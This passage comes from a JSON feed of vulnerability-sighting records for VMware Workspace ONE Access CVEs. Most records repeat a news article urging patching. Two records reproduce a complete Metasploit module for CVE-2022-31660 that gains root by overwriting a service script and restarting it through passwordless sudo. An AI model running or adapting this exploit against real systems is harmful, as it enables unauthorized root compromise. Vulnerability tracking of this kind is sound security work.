service.\n\nHowever, VMware doesn\u2019t recommend using this workaround and says the only way to address the CVE-2022-31656 auth bypass flaw fully is to patch the vulnerable products.\n\n\u201cThe only way to remove the vulnerabilities from your environment is to apply the patches provided in VMSA-2022-0021. Workarounds, while convenient, do not remove the vulnerabilities, and almost always introduce additional complexities that patching would not,\u201d VMware added.\n\n\u201cWhile the decision to patch or use the workaround is yours, VMware always strongly recommends patching as the simplest and most reliable way to resolve this type of issue.\u201d\n\nThe company also provides a support document\u00a0with a[...]", "creation_timestamp": "2026-09-01T20:01:32.420241Z"}, {"uuid": "c05bb0c7-1522-40dc-924e-1d7fcfbf282e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-31660", "type": "seen", "source": "https://t.me/hacking_Attack/64227", "content": "Exploit Collector\nVMware Workspace ONE Access Privilege Escalation\n\nhttps://1.bp.blogspot.com/-3PgjWVftdQ0/WWlvP-R2mXI/AAAAAAAAIM8/iBQyafDa-iYc-AHcRZlLffBv9_pWsP_-gCLcBGAs/s1600/h30.png VMware Workspace ONE Access contains a vulnerability whereby the horizon user can escalate their privileges to those of the root user by modifying a file and then restarting the vmware-certproxy service which invokes it. The service control is permitted via the sudo configuration without a password.\n\nSHA-256 | 84c0696cc53d2e4bd749c04b694cbb8ae3676b266a9d0e92ecb77d88dc2558c3Download ##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Local\nRank = ExcellentRanking\n\ninclude Msf::Exploit::EXE\ninclude Msf::Post::File\ninclude Msf::Post::Unix\n\nTARGET_FILE = '/opt/vmware/certproxy/bin/cert-proxy.sh'.freeze\n\ndef initialize(info = {})\nsuper(\nupdate_info(\ninfo,\n{\n'Name' => 'VMware Workspace ONE Access CVE-2022-31660',\n'Description' => %q{\nVMware Workspace ONE Access contains a vulnerability whereby the horizon user can escalate their privileges\nto those of the root user by modifying a file and then restarting the vmware-certproxy service which\ninvokes it. The service control is permitted via the sudo configuration without a password.\n},\n'License' => MSF_LICENSE,\n'Author' => [\n'Spencer McIntyre'\n],\n'Platform' => [ 'linux', 'unix' ],\n'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],\n'SessionTypes' => ['shell', 'meterpreter'],\n'Targets' => [\n[ 'Automatic', {} ],\n],\n'DefaultOptions' => {\n'PrependFork' => true,\n'MeterpreterTryToFork' => true\n},\n'Privileged' => true,\n'DefaultTarget' => 0,\n'References' => [\n[ 'CVE', '2022-31660' ],\n[ 'URL', 'https://www.vmware.com/security/advisories/VMSA-2022-0021.html' ]\n],\n'DisclosureDate' => '2022-08-02',\n'Notes' => {\n# We're corrupting the vmware-certproxy service, if restoring the contents fails it won't work. This service\n# is disabled by default though.\n'Stability' => [CRASH_SERVICE_DOWN],\n'Reliability' => [REPEATABLE_SESSION],\n'SideEffects' => [ARTIFACTS_ON_DISK]\n}\n}\n)\n)\nend\n\ndef certproxy_service\n# this script's location depends on the version, so find it.\nreturn @certproxy_service if @certproxy_service\n\n@certproxy_service = [\n'/usr/local/horizon/scripts/certproxyService.sh',\n'/opt/vmware/certproxy/bin/certproxyService.sh'\n].find { |path| file?(path) }\n\nvprint_status(\"Found service control script at: #{@certproxy_service}\") if @certproxy_service\n@certproxy_service\nend\n\ndef sudo(arguments)\ncmd_exec(\"sudo --non-interactive #{arguments}\")\nend\n\ndef check\nunless whoami == 'horizon'\nreturn CheckCode::Safe('Not running as the horizon user.')\nend\n\ntoken = Rex::Text.rand_text_alpha(10)\nunless sudo(\"--list '#{certproxy_service}' && echo #{token}\").include?(token)\nreturn CheckCode::Safe('Cannot invoke the service control script with sudo.')\nend\n\nunless writable?(TARGET_FILE)\nreturn CheckCode::Safe('Cannot write to the service file.')\nend\n\nCheckCode::Appears\nend\n\ndef exploit\n# backup the original permissions and contents\nprint_status('Backing up the original file...')\n@backup = {\nstat: stat(TARGET_FILE),\ncontents: read_file(TARGET_FILE)\n}\n\nif payload.arch.first == ARCH_CMD\npayload_data = \"#!/bin/bash\\n#{payload.encoded}\"\nelse\npayload_data = generate_payload_exe\nend\nupload_and_chmodx(TARGET_FILE, payload_data)\nprint_status('Triggering the payload...')\nsudo(\"--background #{certproxy_service} restart\")\nend\n\ndef cleanup\nreturn unless @backup\n\nprint_status('Restoring file contents...')\nfile_rm(TARGET_FILE) # it's necessary to delete the running file before overwriting it\nwrite_file(TARGET_FILE, @backup[:contents])\nprint_status('Restoring file permissions...')\nchmod(TARGET_FILE, @backup[:stat].mode & 0o777)\nend\nend Source:packetstormsecurity.com\n\u2796 Sent by @TheFeedReaderBot \u2796\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:01:27.028755Z"}, {"uuid": "a83dce6f-a047-4ebb-b25e-6b38a4b38df1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-31661", "type": "seen", "source": "https://t.me/hacking_Attack/64081", "content": "Black Hat Ethical Hacking\nVMware urges admins to patch critical auth bypass bug immediately\n\nVMware urges admins to patch critical auth bypass bug immediatelyPost Views: 1 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/07/Patreon.png Subscribe to Patreon to watch this episode.\nReading Time: 3 Minutes VMware has warned admins today to patch a critical authentication bypass security flaw affecting local domain users in multiple products and enabling unauthenticated attackers to gain admin privileges.The flaw (CVE-2022-31656) was reported by Petrus Viet of VNG Security, who found that it impacts VMware Workspace ONE Access, Identity Manager, and vRealize Automation.\n\nVMware evaluated\u00a0the severity of this security vulnerability as critical, with a CVSSv3 base score of 9.8/10.\n\nThe company also patched multiple other security bugs enabling attackers to gain remote code execution (CVE-2022-31658, CVE-2022-31659, CVE-2022-31665) and escalate privileges to \u2018root\u2019 (CVE-2022-31660, CVE-2022-31661, CVE-2022-31664) on unpatched servers.\n\n\u201cIt is extremely important that you quickly take steps to patch or mitigate these issues in on-premises deployments,\u201d said\u00a0Bob Plankers, Cloud Infrastructure Security & Compliance Architect at VMware.\n\n\u201cIf your organization uses ITIL methodologies for change management, this would be considered an \u2019emergency\u2019 change.\u201d\nSee Also: So you want to be a hacker? Complete Offensive Security and Ethical Hacking Course Admins urged to patch immediately\u201cThis critical vulnerability should be patched or mitigated immediately per the instructions in VMSA,\u201d VMware warned.\n\n\u201cAll environments are different, have different tolerance for risk, and have different security controls and defense-in-depth to mitigate risk, so customers must make their own decisions on how to proceed. However, given the severity of the vulnerability, we strongly recommend immediate action.\u201d\n\nThe complete list of VMware products impacted by these vulnerabilities includes:\n\n* VMware Workspace ONE Access (Access)\n* VMware Workspace ONE Access Connector (Access Connector)\n* VMware Identity Manager (vIDM)\n* VMware Identity Manager Connector (vIDM Connector)\n* VMware vRealize Automation (vRA)\n* VMware Cloud Foundation\n* vRealize Suite Lifecycle Manager\n\nAccording to VMware, there is no evidence that the critical CVE-2022-31656 authentication bypass vulnerability is exploited in attacks.\n\nVMware provides patch download links and detailed installation instructions on its knowledgebase website. https://www.bleepstatic.com/images/news/u/1109292/2022/CVE-2022-31656_Petrus-Viet-tweet.png Trending: The Difference between White-Box and Black-Box Pentesting Trending: Offensive Security Tool: DDoS-Layer7-bheh Workaround availableThe company also shared\u00a0a temporary workaround for customers who cannot patch their appliances against CVE-2022-31656 immediately. Steps detailed by VMware\u00a0require admins to disable all users except one provisioned administrator and log in via SSH to restart the horizon-workspace service.\n\nHowever, VMware doesn\u2019t recommend using this workaround and says the only way to address the CVE-2022-31656 auth bypass flaw fully is to patch the vulnerable products.\n\n\u201cThe only way to remove the vulnerabilities from your environment is to apply the patches provided in VMSA-2022-0021. Workarounds, while convenient, do not remove the vulnerabilities, and almost always introduce additional complexities that patching would not,\u201d VMware added.\n\n\u201cWhile the decision to patch or use the workaround is yours, VMware always strongly recommends patching as the simplest and most reliable way to resolve this type of issue.\u201d\n\nThe company also provides a support document\u00a0with a[...]", "creation_timestamp": "2026-09-02T01:01:42.342622Z"}, {"uuid": "93a2b5a8-3fd2-4c10-8d04-e6ec9cbe1832", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-31665", "type": "seen", "source": "https://t.me/hacking_Attack/64081", "content": "Black Hat Ethical Hacking\nVMware urges admins to patch critical auth bypass bug immediately\n\nVMware urges admins to patch critical auth bypass bug immediatelyPost Views: 1 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/07/Patreon.png Subscribe to Patreon to watch this episode.\nReading Time: 3 Minutes VMware has warned admins today to patch a critical authentication bypass security flaw affecting local domain users in multiple products and enabling unauthenticated attackers to gain admin privileges.The flaw (CVE-2022-31656) was reported by Petrus Viet of VNG Security, who found that it impacts VMware Workspace ONE Access, Identity Manager, and vRealize Automation.\n\nVMware evaluated\u00a0the severity of this security vulnerability as critical, with a CVSSv3 base score of 9.8/10.\n\nThe company also patched multiple other security bugs enabling attackers to gain remote code execution (CVE-2022-31658, CVE-2022-31659, CVE-2022-31665) and escalate privileges to \u2018root\u2019 (CVE-2022-31660, CVE-2022-31661, CVE-2022-31664) on unpatched servers.\n\n\u201cIt is extremely important that you quickly take steps to patch or mitigate these issues in on-premises deployments,\u201d said\u00a0Bob Plankers, Cloud Infrastructure Security & Compliance Architect at VMware.\n\n\u201cIf your organization uses ITIL methodologies for change management, this would be considered an \u2019emergency\u2019 change.\u201d\nSee Also: So you want to be a hacker? Complete Offensive Security and Ethical Hacking Course Admins urged to patch immediately\u201cThis critical vulnerability should be patched or mitigated immediately per the instructions in VMSA,\u201d VMware warned.\n\n\u201cAll environments are different, have different tolerance for risk, and have different security controls and defense-in-depth to mitigate risk, so customers must make their own decisions on how to proceed. However, given the severity of the vulnerability, we strongly recommend immediate action.\u201d\n\nThe complete list of VMware products impacted by these vulnerabilities includes:\n\n* VMware Workspace ONE Access (Access)\n* VMware Workspace ONE Access Connector (Access Connector)\n* VMware Identity Manager (vIDM)\n* VMware Identity Manager Connector (vIDM Connector)\n* VMware vRealize Automation (vRA)\n* VMware Cloud Foundation\n* vRealize Suite Lifecycle Manager\n\nAccording to VMware, there is no evidence that the critical CVE-2022-31656 authentication bypass vulnerability is exploited in attacks.\n\nVMware provides patch download links and detailed installation instructions on its knowledgebase website. https://www.bleepstatic.com/images/news/u/1109292/2022/CVE-2022-31656_Petrus-Viet-tweet.png Trending: The Difference between White-Box and Black-Box Pentesting Trending: Offensive Security Tool: DDoS-Layer7-bheh Workaround availableThe company also shared\u00a0a temporary workaround for customers who cannot patch their appliances against CVE-2022-31656 immediately. Steps detailed by VMware\u00a0require admins to disable all users except one provisioned administrator and log in via SSH to restart the horizon-workspace service.\n\nHowever, VMware doesn\u2019t recommend using this workaround and says the only way to address the CVE-2022-31656 auth bypass flaw fully is to patch the vulnerable products.\n\n\u201cThe only way to remove the vulnerabilities from your environment is to apply the patches provided in VMSA-2022-0021. Workarounds, while convenient, do not remove the vulnerabilities, and almost always introduce additional complexities that patching would not,\u201d VMware added.\n\n\u201cWhile the decision to patch or use the workaround is yours, VMware always strongly recommends patching as the simplest and most reliable way to resolve this type of issue.\u201d\n\nThe company also provides a support document\u00a0with a[...]", "creation_timestamp": "2026-09-02T01:01:42.543700Z"}, {"uuid": "f532e11d-294f-4935-b759-52897b1b318e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-31664", "type": "seen", "source": "https://t.me/hacking_Attack/64081", "content": "Black Hat Ethical Hacking\nVMware urges admins to patch critical auth bypass bug immediately\n\nVMware urges admins to patch critical auth bypass bug immediatelyPost Views: 1 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/07/Patreon.png Subscribe to Patreon to watch this episode.\nReading Time: 3 Minutes VMware has warned admins today to patch a critical authentication bypass security flaw affecting local domain users in multiple products and enabling unauthenticated attackers to gain admin privileges.The flaw (CVE-2022-31656) was reported by Petrus Viet of VNG Security, who found that it impacts VMware Workspace ONE Access, Identity Manager, and vRealize Automation.\n\nVMware evaluated\u00a0the severity of this security vulnerability as critical, with a CVSSv3 base score of 9.8/10.\n\nThe company also patched multiple other security bugs enabling attackers to gain remote code execution (CVE-2022-31658, CVE-2022-31659, CVE-2022-31665) and escalate privileges to \u2018root\u2019 (CVE-2022-31660, CVE-2022-31661, CVE-2022-31664) on unpatched servers.\n\n\u201cIt is extremely important that you quickly take steps to patch or mitigate these issues in on-premises deployments,\u201d said\u00a0Bob Plankers, Cloud Infrastructure Security & Compliance Architect at VMware.\n\n\u201cIf your organization uses ITIL methodologies for change management, this would be considered an \u2019emergency\u2019 change.\u201d\nSee Also: So you want to be a hacker? Complete Offensive Security and Ethical Hacking Course Admins urged to patch immediately\u201cThis critical vulnerability should be patched or mitigated immediately per the instructions in VMSA,\u201d VMware warned.\n\n\u201cAll environments are different, have different tolerance for risk, and have different security controls and defense-in-depth to mitigate risk, so customers must make their own decisions on how to proceed. However, given the severity of the vulnerability, we strongly recommend immediate action.\u201d\n\nThe complete list of VMware products impacted by these vulnerabilities includes:\n\n* VMware Workspace ONE Access (Access)\n* VMware Workspace ONE Access Connector (Access Connector)\n* VMware Identity Manager (vIDM)\n* VMware Identity Manager Connector (vIDM Connector)\n* VMware vRealize Automation (vRA)\n* VMware Cloud Foundation\n* vRealize Suite Lifecycle Manager\n\nAccording to VMware, there is no evidence that the critical CVE-2022-31656 authentication bypass vulnerability is exploited in attacks.\n\nVMware provides patch download links and detailed installation instructions on its knowledgebase website. https://www.bleepstatic.com/images/news/u/1109292/2022/CVE-2022-31656_Petrus-Viet-tweet.png Trending: The Difference between White-Box and Black-Box Pentesting Trending: Offensive Security Tool: DDoS-Layer7-bheh Workaround availableThe company also shared\u00a0a temporary workaround for customers who cannot patch their appliances against CVE-2022-31656 immediately. Steps detailed by VMware\u00a0require admins to disable all users except one provisioned administrator and log in via SSH to restart the horizon-workspace service.\n\nHowever, VMware doesn\u2019t recommend using this workaround and says the only way to address the CVE-2022-31656 auth bypass flaw fully is to patch the vulnerable products.\n\n\u201cThe only way to remove the vulnerabilities from your environment is to apply the patches provided in VMSA-2022-0021. Workarounds, while convenient, do not remove the vulnerabilities, and almost always introduce additional complexities that patching would not,\u201d VMware added.\n\n\u201cWhile the decision to patch or use the workaround is yours, VMware always strongly recommends patching as the simplest and most reliable way to resolve this type of issue.\u201d\n\nThe company also provides a support document\u00a0with a[...]", "creation_timestamp": "2026-09-02T01:01:42.789612Z"}, {"uuid": "a7d313a4-1827-44be-95d1-bd961bb614d7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-31660", "type": "seen", "source": "https://t.me/hacking_Attack/64081", "content": "Black Hat Ethical Hacking\nVMware urges admins to patch critical auth bypass bug immediately\n\nVMware urges admins to patch critical auth bypass bug immediatelyPost Views: 1 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/07/Patreon.png Subscribe to Patreon to watch this episode.\nReading Time: 3 Minutes VMware has warned admins today to patch a critical authentication bypass security flaw affecting local domain users in multiple products and enabling unauthenticated attackers to gain admin privileges.The flaw (CVE-2022-31656) was reported by Petrus Viet of VNG Security, who found that it impacts VMware Workspace ONE Access, Identity Manager, and vRealize Automation.\n\nVMware evaluated\u00a0the severity of this security vulnerability as critical, with a CVSSv3 base score of 9.8/10.\n\nThe company also patched multiple other security bugs enabling attackers to gain remote code execution (CVE-2022-31658, CVE-2022-31659, CVE-2022-31665) and escalate privileges to \u2018root\u2019 (CVE-2022-31660, CVE-2022-31661, CVE-2022-31664) on unpatched servers.\n\n\u201cIt is extremely important that you quickly take steps to patch or mitigate these issues in on-premises deployments,\u201d said\u00a0Bob Plankers, Cloud Infrastructure Security & Compliance Architect at VMware.\n\n\u201cIf your organization uses ITIL methodologies for change management, this would be considered an \u2019emergency\u2019 change.\u201d\nSee Also: So you want to be a hacker? Complete Offensive Security and Ethical Hacking Course Admins urged to patch immediately\u201cThis critical vulnerability should be patched or mitigated immediately per the instructions in VMSA,\u201d VMware warned.\n\n\u201cAll environments are different, have different tolerance for risk, and have different security controls and defense-in-depth to mitigate risk, so customers must make their own decisions on how to proceed. However, given the severity of the vulnerability, we strongly recommend immediate action.\u201d\n\nThe complete list of VMware products impacted by these vulnerabilities includes:\n\n* VMware Workspace ONE Access (Access)\n* VMware Workspace ONE Access Connector (Access Connector)\n* VMware Identity Manager (vIDM)\n* VMware Identity Manager Connector (vIDM Connector)\n* VMware vRealize Automation (vRA)\n* VMware Cloud Foundation\n* vRealize Suite Lifecycle Manager\n\nAccording to VMware, there is no evidence that the critical CVE-2022-31656 authentication bypass vulnerability is exploited in attacks.\n\nVMware provides patch download links and detailed installation instructions on its knowledgebase website. https://www.bleepstatic.com/images/news/u/1109292/2022/CVE-2022-31656_Petrus-Viet-tweet.png Trending: The Difference between White-Box and Black-Box Pentesting Trending: Offensive Security Tool: DDoS-Layer7-bheh Workaround availableThe company also shared\u00a0a temporary workaround for customers who cannot patch their appliances against CVE-2022-31656 immediately. Steps detailed by VMware\u00a0require admins to disable all users except one provisioned administrator and log in via SSH to restart the horizon-workspace service.\n\nHowever, VMware doesn\u2019t recommend using this workaround and says the only way to address the CVE-2022-31656 auth bypass flaw fully is to patch the vulnerable products.\n\n\u201cThe only way to remove the vulnerabilities from your environment is to apply the patches provided in VMSA-2022-0021. Workarounds, while convenient, do not remove the vulnerabilities, and almost always introduce additional complexities that patching would not,\u201d VMware added.\n\n\u201cWhile the decision to patch or use the workaround is yours, VMware always strongly recommends patching as the simplest and most reliable way to resolve this type of issue.\u201d\n\nThe company also provides a support document\u00a0with a[...]", "creation_timestamp": "2026-09-02T01:01:42.839094Z"}, {"uuid": "86786655-f49d-4fc2-84f7-820bd6470055", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-31660", "type": "seen", "source": "https://t.me/hacking_Attack/64227", "content": "Exploit Collector\nVMware Workspace ONE Access Privilege Escalation\n\nhttps://1.bp.blogspot.com/-3PgjWVftdQ0/WWlvP-R2mXI/AAAAAAAAIM8/iBQyafDa-iYc-AHcRZlLffBv9_pWsP_-gCLcBGAs/s1600/h30.png VMware Workspace ONE Access contains a vulnerability whereby the horizon user can escalate their privileges to those of the root user by modifying a file and then restarting the vmware-certproxy service which invokes it. The service control is permitted via the sudo configuration without a password.\n\nSHA-256 | 84c0696cc53d2e4bd749c04b694cbb8ae3676b266a9d0e92ecb77d88dc2558c3Download ##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Local\nRank = ExcellentRanking\n\ninclude Msf::Exploit::EXE\ninclude Msf::Post::File\ninclude Msf::Post::Unix\n\nTARGET_FILE = '/opt/vmware/certproxy/bin/cert-proxy.sh'.freeze\n\ndef initialize(info = {})\nsuper(\nupdate_info(\ninfo,\n{\n'Name' => 'VMware Workspace ONE Access CVE-2022-31660',\n'Description' => %q{\nVMware Workspace ONE Access contains a vulnerability whereby the horizon user can escalate their privileges\nto those of the root user by modifying a file and then restarting the vmware-certproxy service which\ninvokes it. The service control is permitted via the sudo configuration without a password.\n},\n'License' => MSF_LICENSE,\n'Author' => [\n'Spencer McIntyre'\n],\n'Platform' => [ 'linux', 'unix' ],\n'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],\n'SessionTypes' => ['shell', 'meterpreter'],\n'Targets' => [\n[ 'Automatic', {} ],\n],\n'DefaultOptions' => {\n'PrependFork' => true,\n'MeterpreterTryToFork' => true\n},\n'Privileged' => true,\n'DefaultTarget' => 0,\n'References' => [\n[ 'CVE', '2022-31660' ],\n[ 'URL', 'https://www.vmware.com/security/advisories/VMSA-2022-0021.html' ]\n],\n'DisclosureDate' => '2022-08-02',\n'Notes' => {\n# We're corrupting the vmware-certproxy service, if restoring the contents fails it won't work. This service\n# is disabled by default though.\n'Stability' => [CRASH_SERVICE_DOWN],\n'Reliability' => [REPEATABLE_SESSION],\n'SideEffects' => [ARTIFACTS_ON_DISK]\n}\n}\n)\n)\nend\n\ndef certproxy_service\n# this script's location depends on the version, so find it.\nreturn @certproxy_service if @certproxy_service\n\n@certproxy_service = [\n'/usr/local/horizon/scripts/certproxyService.sh',\n'/opt/vmware/certproxy/bin/certproxyService.sh'\n].find { |path| file?(path) }\n\nvprint_status(\"Found service control script at: #{@certproxy_service}\") if @certproxy_service\n@certproxy_service\nend\n\ndef sudo(arguments)\ncmd_exec(\"sudo --non-interactive #{arguments}\")\nend\n\ndef check\nunless whoami == 'horizon'\nreturn CheckCode::Safe('Not running as the horizon user.')\nend\n\ntoken = Rex::Text.rand_text_alpha(10)\nunless sudo(\"--list '#{certproxy_service}' && echo #{token}\").include?(token)\nreturn CheckCode::Safe('Cannot invoke the service control script with sudo.')\nend\n\nunless writable?(TARGET_FILE)\nreturn CheckCode::Safe('Cannot write to the service file.')\nend\n\nCheckCode::Appears\nend\n\ndef exploit\n# backup the original permissions and contents\nprint_status('Backing up the original file...')\n@backup = {\nstat: stat(TARGET_FILE),\ncontents: read_file(TARGET_FILE)\n}\n\nif payload.arch.first == ARCH_CMD\npayload_data = \"#!/bin/bash\\n#{payload.encoded}\"\nelse\npayload_data = generate_payload_exe\nend\nupload_and_chmodx(TARGET_FILE, payload_data)\nprint_status('Triggering the payload...')\nsudo(\"--background #{certproxy_service} restart\")\nend\n\ndef cleanup\nreturn unless @backup\n\nprint_status('Restoring file contents...')\nfile_rm(TARGET_FILE) # it's necessary to delete the running file before overwriting it\nwrite_file(TARGET_FILE, @backup[:contents])\nprint_status('Restoring file permissions...')\nchmod(TARGET_FILE, @backup[:stat].mode & 0o777)\nend\nend Source:packetstormsecurity.com\n\u2796 Sent by @TheFeedReaderBot \u2796\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:01:42.128845Z"}, {"uuid": "2329acc5-adc8-46a3-97ee-bb391dd322c2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-31664", "type": "seen", "source": "https://t.me/hacking_Attack/64081", "content": "Black Hat Ethical Hacking\nVMware urges admins to patch critical auth bypass bug immediately\n\nVMware urges admins to patch critical auth bypass bug immediatelyPost Views: 1 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/07/Patreon.png Subscribe to Patreon to watch this episode.\nReading Time: 3 Minutes VMware has warned admins today to patch a critical authentication bypass security flaw affecting local domain users in multiple products and enabling unauthenticated attackers to gain admin privileges.The flaw (CVE-2022-31656) was reported by Petrus Viet of VNG Security, who found that it impacts VMware Workspace ONE Access, Identity Manager, and vRealize Automation.\n\nVMware evaluated\u00a0the severity of this security vulnerability as critical, with a CVSSv3 base score of 9.8/10.\n\nThe company also patched multiple other security bugs enabling attackers to gain remote code execution (CVE-2022-31658, CVE-2022-31659, CVE-2022-31665) and escalate privileges to \u2018root\u2019 (CVE-2022-31660, CVE-2022-31661, CVE-2022-31664) on unpatched servers.\n\n\u201cIt is extremely important that you quickly take steps to patch or mitigate these issues in on-premises deployments,\u201d said\u00a0Bob Plankers, Cloud Infrastructure Security & Compliance Architect at VMware.\n\n\u201cIf your organization uses ITIL methodologies for change management, this would be considered an \u2019emergency\u2019 change.\u201d\nSee Also: So you want to be a hacker? Complete Offensive Security and Ethical Hacking Course Admins urged to patch immediately\u201cThis critical vulnerability should be patched or mitigated immediately per the instructions in VMSA,\u201d VMware warned.\n\n\u201cAll environments are different, have different tolerance for risk, and have different security controls and defense-in-depth to mitigate risk, so customers must make their own decisions on how to proceed. However, given the severity of the vulnerability, we strongly recommend immediate action.\u201d\n\nThe complete list of VMware products impacted by these vulnerabilities includes:\n\n* VMware Workspace ONE Access (Access)\n* VMware Workspace ONE Access Connector (Access Connector)\n* VMware Identity Manager (vIDM)\n* VMware Identity Manager Connector (vIDM Connector)\n* VMware vRealize Automation (vRA)\n* VMware Cloud Foundation\n* vRealize Suite Lifecycle Manager\n\nAccording to VMware, there is no evidence that the critical CVE-2022-31656 authentication bypass vulnerability is exploited in attacks.\n\nVMware provides patch download links and detailed installation instructions on its knowledgebase website. https://www.bleepstatic.com/images/news/u/1109292/2022/CVE-2022-31656_Petrus-Viet-tweet.png Trending: The Difference between White-Box and Black-Box Pentesting Trending: Offensive Security Tool: DDoS-Layer7-bheh Workaround availableThe company also shared\u00a0a temporary workaround for customers who cannot patch their appliances against CVE-2022-31656 immediately. Steps detailed by VMware\u00a0require admins to disable all users except one provisioned administrator and log in via SSH to restart the horizon-workspace service.\n\nHowever, VMware doesn\u2019t recommend using this workaround and says the only way to address the CVE-2022-31656 auth bypass flaw fully is to patch the vulnerable products.\n\n\u201cThe only way to remove the vulnerabilities from your environment is to apply the patches provided in VMSA-2022-0021. Workarounds, while convenient, do not remove the vulnerabilities, and almost always introduce additional complexities that patching would not,\u201d VMware added.\n\n\u201cWhile the decision to patch or use the workaround is yours, VMware always strongly recommends patching as the simplest and most reliable way to resolve this type of issue.\u201d\n\nThe company also provides a support document\u00a0with a[...]", "creation_timestamp": "2026-09-05T12:00:04.677289Z"}, {"uuid": "95c43fcc-6501-474c-82cc-2adb8c205978", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-31660", "type": "seen", "source": "https://t.me/hacking_Attack/64081", "content": "Black Hat Ethical Hacking\nVMware urges admins to patch critical auth bypass bug immediately\n\nVMware urges admins to patch critical auth bypass bug immediatelyPost Views: 1 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/07/Patreon.png Subscribe to Patreon to watch this episode.\nReading Time: 3 Minutes VMware has warned admins today to patch a critical authentication bypass security flaw affecting local domain users in multiple products and enabling unauthenticated attackers to gain admin privileges.The flaw (CVE-2022-31656) was reported by Petrus Viet of VNG Security, who found that it impacts VMware Workspace ONE Access, Identity Manager, and vRealize Automation.\n\nVMware evaluated\u00a0the severity of this security vulnerability as critical, with a CVSSv3 base score of 9.8/10.\n\nThe company also patched multiple other security bugs enabling attackers to gain remote code execution (CVE-2022-31658, CVE-2022-31659, CVE-2022-31665) and escalate privileges to \u2018root\u2019 (CVE-2022-31660, CVE-2022-31661, CVE-2022-31664) on unpatched servers.\n\n\u201cIt is extremely important that you quickly take steps to patch or mitigate these issues in on-premises deployments,\u201d said\u00a0Bob Plankers, Cloud Infrastructure Security & Compliance Architect at VMware.\n\n\u201cIf your organization uses ITIL methodologies for change management, this would be considered an \u2019emergency\u2019 change.\u201d\nSee Also: So you want to be a hacker? Complete Offensive Security and Ethical Hacking Course Admins urged to patch immediately\u201cThis critical vulnerability should be patched or mitigated immediately per the instructions in VMSA,\u201d VMware warned.\n\n\u201cAll environments are different, have different tolerance for risk, and have different security controls and defense-in-depth to mitigate risk, so customers must make their own decisions on how to proceed. However, given the severity of the vulnerability, we strongly recommend immediate action.\u201d\n\nThe complete list of VMware products impacted by these vulnerabilities includes:\n\n* VMware Workspace ONE Access (Access)\n* VMware Workspace ONE Access Connector (Access Connector)\n* VMware Identity Manager (vIDM)\n* VMware Identity Manager Connector (vIDM Connector)\n* VMware vRealize Automation (vRA)\n* VMware Cloud Foundation\n* vRealize Suite Lifecycle Manager\n\nAccording to VMware, there is no evidence that the critical CVE-2022-31656 authentication bypass vulnerability is exploited in attacks.\n\nVMware provides patch download links and detailed installation instructions on its knowledgebase website. https://www.bleepstatic.com/images/news/u/1109292/2022/CVE-2022-31656_Petrus-Viet-tweet.png Trending: The Difference between White-Box and Black-Box Pentesting Trending: Offensive Security Tool: DDoS-Layer7-bheh Workaround availableThe company also shared\u00a0a temporary workaround for customers who cannot patch their appliances against CVE-2022-31656 immediately. Steps detailed by VMware\u00a0require admins to disable all users except one provisioned administrator and log in via SSH to restart the horizon-workspace service.\n\nHowever, VMware doesn\u2019t recommend using this workaround and says the only way to address the CVE-2022-31656 auth bypass flaw fully is to patch the vulnerable products.\n\n\u201cThe only way to remove the vulnerabilities from your environment is to apply the patches provided in VMSA-2022-0021. Workarounds, while convenient, do not remove the vulnerabilities, and almost always introduce additional complexities that patching would not,\u201d VMware added.\n\n\u201cWhile the decision to patch or use the workaround is yours, VMware always strongly recommends patching as the simplest and most reliable way to resolve this type of issue.\u201d\n\nThe company also provides a support document\u00a0with a[...]", "creation_timestamp": "2026-09-05T12:00:04.737716Z"}, {"uuid": "01bf9094-5bd0-44af-947d-a00237460cb2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-31665", "type": "seen", "source": "https://t.me/hacking_Attack/64081", "content": "Black Hat Ethical Hacking\nVMware urges admins to patch critical auth bypass bug immediately\n\nVMware urges admins to patch critical auth bypass bug immediatelyPost Views: 1 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/07/Patreon.png Subscribe to Patreon to watch this episode.\nReading Time: 3 Minutes VMware has warned admins today to patch a critical authentication bypass security flaw affecting local domain users in multiple products and enabling unauthenticated attackers to gain admin privileges.The flaw (CVE-2022-31656) was reported 